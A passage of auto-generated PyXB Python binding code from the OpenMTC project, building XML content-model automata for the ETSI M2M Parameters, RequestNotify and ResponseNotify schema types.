pyxb.binding.content.ElementUse(Parameters._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 13, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = None symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'originalMO')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 14, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'parametersCollection')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 17, 12)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard( process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=( pyxb.binding.content.Wildcard.NC_not, u'http://uri.etsi.org/m2m')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 19, 12)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True)])) st_6._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Parameters._Automaton = _BuildAutomaton_68() RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'requestingEntity'), pyxb.binding.datatypes.anyURI, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 14, 12))) RequestNotify._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'targetID'), pyxb.binding.datatypes.anyURI, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 15, 12))) RequestNotify._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'method'), MethodType, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 16, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'filterCriteria'), FilterCriteriaType, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 17, 12))) RequestNotify._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'maxSize'), pyxb.binding.datatypes.long, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 19, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'searchPrefix'), pyxb.binding.datatypes.anyURI, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 20, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'groupRequestIdentifier'), pyxb.binding.datatypes.hexBinary, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 21, 12))) RequestNotify._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'TRPDT'), TrpdtType, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 23, 12))) RequestNotify._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'RCAT'), RcatType, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 24, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'contentTypeHeader'), pyxb.binding.datatypes.string, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 25, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'acceptHeader'), pyxb.binding.datatypes.string, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 26, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'ifModifiedSinceHeader'), pyxb.binding.datatypes.string, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 27, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'ifUnmodifiedSinceHeader'), pyxb.binding.datatypes.string, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 28, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'ifMatchHeader'), pyxb.binding.datatypes.string, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 30, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'ifNoneMatchHeader'), pyxb.binding.datatypes.string, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 31, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'xEtsiContactUriHeader'), pyxb.binding.datatypes.string, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 32, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'xEtsiCorrelationIDHeader'), pyxb.binding.datatypes.string, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 33, 12))) RequestNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'representation'), _ImportedBinding__xmlmime.base64Binary, scope=RequestNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 34, 12))) def _BuildAutomaton_69(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_69 del _BuildAutomaton_69 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 17, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 19, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 20, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 21, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 23, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 24, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 25, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 26, 12)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 27, 12)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 28, 12)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 30, 12)) counters.add(cc_10) cc_11 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 31, 12)) counters.add(cc_11) cc_12 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 34, 12)) counters.add(cc_12) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'requestingEntity')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 14, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'targetID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 15, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = None symbol = pyxb.binding.content.ElementUse( RequestNotify._UseForTag(pyxb.namespace.ExpandedName(None, u'method')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 16, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'filterCriteria')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 17, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = None symbol = pyxb.binding.content.ElementUse( RequestNotify._UseForTag(pyxb.namespace.ExpandedName(None, u'maxSize')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 19, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'searchPrefix')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 20, 12)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'groupRequestIdentifier')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 21, 12)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = None symbol = pyxb.binding.content.ElementUse( RequestNotify._UseForTag(pyxb.namespace.ExpandedName(None, u'TRPDT')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 23, 12)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = None symbol = pyxb.binding.content.ElementUse( RequestNotify._UseForTag(pyxb.namespace.ExpandedName(None, u'RCAT')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 24, 12)) st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'contentTypeHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 25, 12)) st_9 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'acceptHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 26, 12)) st_10 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_10) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'ifModifiedSinceHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 27, 12)) st_11 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_11) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'ifUnmodifiedSinceHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 28, 12)) st_12 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_12) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'ifMatchHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 30, 12)) st_13 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_13) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'ifNoneMatchHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 31, 12)) st_14 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_14) final_update = None symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'xEtsiContactUriHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 32, 12)) st_15 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_15) final_update = set() symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'xEtsiCorrelationIDHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 33, 12)) st_16 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_16) final_update = set() final_update.add(fac.UpdateInstruction(cc_12, False)) symbol = pyxb.binding.content.ElementUse(RequestNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'representation')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/requestNotify.xsd', 34, 12)) st_17 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_17) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) transitions.append(fac.Transition(st_8, [ ])) transitions.append(fac.Transition(st_9, [ ])) transitions.append(fac.Transition(st_10, [ ])) transitions.append(fac.Transition(st_11, [ ])) transitions.append(fac.Transition(st_12, [ ])) transitions.append(fac.Transition(st_13, [ ])) transitions.append(fac.Transition(st_14, [ ])) transitions.append(fac.Transition(st_15, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_0, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_1, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_2, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_3, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_4, False)])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_5, False)])) st_8._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_6, False)])) st_9._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_7, True)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_7, False)])) st_10._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_8, True)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_8, False)])) st_11._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_9, True)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_9, False)])) st_12._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_10, True)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_10, False)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_10, False)])) st_13._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_11, True)])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_11, False)])) st_14._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_16, [ ])) st_15._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_17, [ ])) st_16._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_12, True)])) st_17._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) RequestNotify._Automaton = _BuildAutomaton_69() ResponseNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'statusCode'), StatusCode, scope=ResponseNotify, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 186, 4))) ResponseNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'representation'), _ImportedBinding__xmlmime.base64Binary, scope=ResponseNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 16, 12))) ResponseNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'locationHeader'), pyxb.binding.datatypes.string, scope=ResponseNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 18, 12))) ResponseNotify._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'etagHeader'), pyxb.binding.datatypes.string, scope=ResponseNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 19, 12))) ResponseNotify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'lastModifiedHeader'), pyxb.binding.datatypes.string, scope=ResponseNotify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 20, 12))) def _BuildAutomaton_70(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_70 del _BuildAutomaton_70 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 16, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 18, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 19, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 20, 12)) counters.add(cc_3) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag( 